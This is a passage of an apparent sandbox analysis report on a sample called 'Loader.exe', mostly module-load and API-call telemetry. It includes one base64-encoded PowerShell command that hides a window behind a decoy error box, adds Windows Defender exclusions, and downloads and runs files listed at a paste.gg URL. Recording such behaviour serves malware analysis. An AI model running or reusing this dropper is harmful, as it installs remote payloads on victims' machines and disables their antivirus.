"System.Management.Automation.Host.KeyInfo" and Function "set_Character" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.KeyInfo" and Function "set_KeyDown" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.KeyInfo" and Function "set_ControlKeyState" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.KeyInfo" and Function "get_ControlKeyState" in "Loader.exe" Observed Namespace "System.Management.Automation.ProgressRecord" and Function "get_ActivityId" in "Loader.exe" Observed Namespace "System.Management.Automation.ProgressRecord" and Function "get_RecordType" in "Loader.exe" Observed Namespace "System.Management.Automation.ProgressRecord" and Function "get_ParentActivityId" in "Loader.exe" Observed Namespace "System.Management.Automation.ProgressRecord" and Function "get_Activity" in "Loader.exe" Observed Namespace "System.Management.Automation.ProgressRecord" and Function "get_StatusDescription" in "Loader.exe"39:Ta11,Process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" (UID: 00000000-00008316)3a:T1dfa,"Loader.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "Loader.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:ffffffffc0000135]3b:T6850,"Loader.exe" loaded module "KERNEL32" at base 7ffb2bc10000 "Loader.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb29dd0000 "Loader.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb29dd0000 "Loader.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb29dd0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb2a690000 "Loader.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb29dd0000 "Loader.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb29dd0000 "Loader.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb29dd0000 "Loader.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb0b260000 "Loader.exe" loaded module "ADVAPI32.DLL" at base 7ffb2c300000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffaf61a0000 "Loader.exe" loaded module "SHLWAPI.DLL" at base 7ffb2c470000 "Loader.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb28980000 "Loader.exe" loaded module "VERSION.DLL" at base 7ffb1fe20000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffae9270000 "Loader.exe" loaded module "USER32.DLL" at base 7ffb2a430000 "Loader.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb29dd0000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "Loader.exe" loaded module "MSCOREE.DLL" at base 7ffb0d840000 "Loader.exe" loaded module "NTDLL" at base 7ffb2c510000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb2b1e0000 "Loader.exe" loaded module "PSAPI.DLL" at base 11b0000 "Loader.exe" loaded module "RPCRT4.DLL" at base 7ffb2a310000 "Loader.exe" loaded module "KERNEL32.DLL" at base 7ffb2bc10000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffae7cb0000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "Loader.exe" loaded module "OLE32.DLL" at base 7ffb2c160000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb26f00000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "Loader.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb2b1e0000 "Loader.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb29dd0000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffaf2c10000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffae7090000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffae6600000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffae4580000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb288f0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb29930000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ffaf0da0000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffae3490000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "Loader.exe" loaded module "UXTHEME.DLL" at base 7ffb26f00000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P1706CAFE#\17182784B4D739DB89359F759C9B7680\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base 7ffaf4430000 "Loader.exe" loaded module "WLDP.DLL" at base 7ffb29120000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffb0dfb0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffb29c60000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffb0c640000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffb035c0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffb18c60000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb0b230000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffaf2b60000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffae2770000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffaf0b60000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffaf2ac0000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffaf2250000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.WE0722664#\5B6DC6CED38A636165CB1ED15C9505E5\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base 7ffaf1d90000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffaf0a20000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffae1ec0000 "Loader.exe" loaded module "NTDLL.DLL" at base 7ffb2c510000 "Loader.exe" loaded module "SHELL32.DLL" at base 7ffb2a780000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "Loader.exe" loaded module "BCRYPT.DLL" at base 7ffb29210000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "Loader.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffb2b1e0000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffae1530000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffaf0200000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffaefe50000 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffaefce0000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "Loader.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffaefc00000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffaf6150000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "Loader.exe" loaded module "SECUR32.DLL" at base 7ffb1e4e0000 "Loader.exe" loaded module "SSPICLI.DLL" at base 7ffb28bd0000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "Loader.exe" loaded module "COMCTL32.DLL" at base 7ffb13c50000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ffb2bd80000 "Loader.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ffb2bea0000 "Loader.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ffb2a430000 "Loader.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ffb2a430000 "Loader.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ffb2c300000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ffb2c160000 "Loader.exe" loaded module "AMSI.DLL" at base 7ffb1bbe0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb1fe20000 "Loader.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffb1bb60000 "Loader.exe" loaded module "%WINDIR%\SYSWOW64\C1NA1LL8.DLL" at base 7ffaf5210000 "Loader.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffaefad0000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffb2bc10000 "Loader.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb2c300000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "Loader.exe" loaded module "COMBASE.DLL" at base 7ffb2b1e0000 "Loader.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffb2b1e0000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "Loader.exe" loaded module "KERNELBASE" at base 7ffb29dd0000 "Loader.exe" loaded module "IMM32.DLL" at base 7ffb2a690000 "Loader.exe" loaded module "COMCTL32.DLL" at base 7ffaf5680000 "Loader.exe" loaded module "GDI32.DLL" at base 1010000 "Loader.exe" loaded module "GDIPLUS.DLL" at base 7ffaeffc0000 "Loader.exe" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22621.1635_NONE_57FA636ACE18905C\GDIPLUS.DLL" at base 7ffaeffc0000 "Loader.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffb29dd0000 "Loader.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\COMCTL32.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb29dd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb29dd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb29dd0000 "powershell.exe" loaded module "KERNEL32" at base 7ffb2bc10000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb0b260000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffb2bc10000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffb2c300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffaf61a0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffb2c470000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb28980000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffb1fe20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 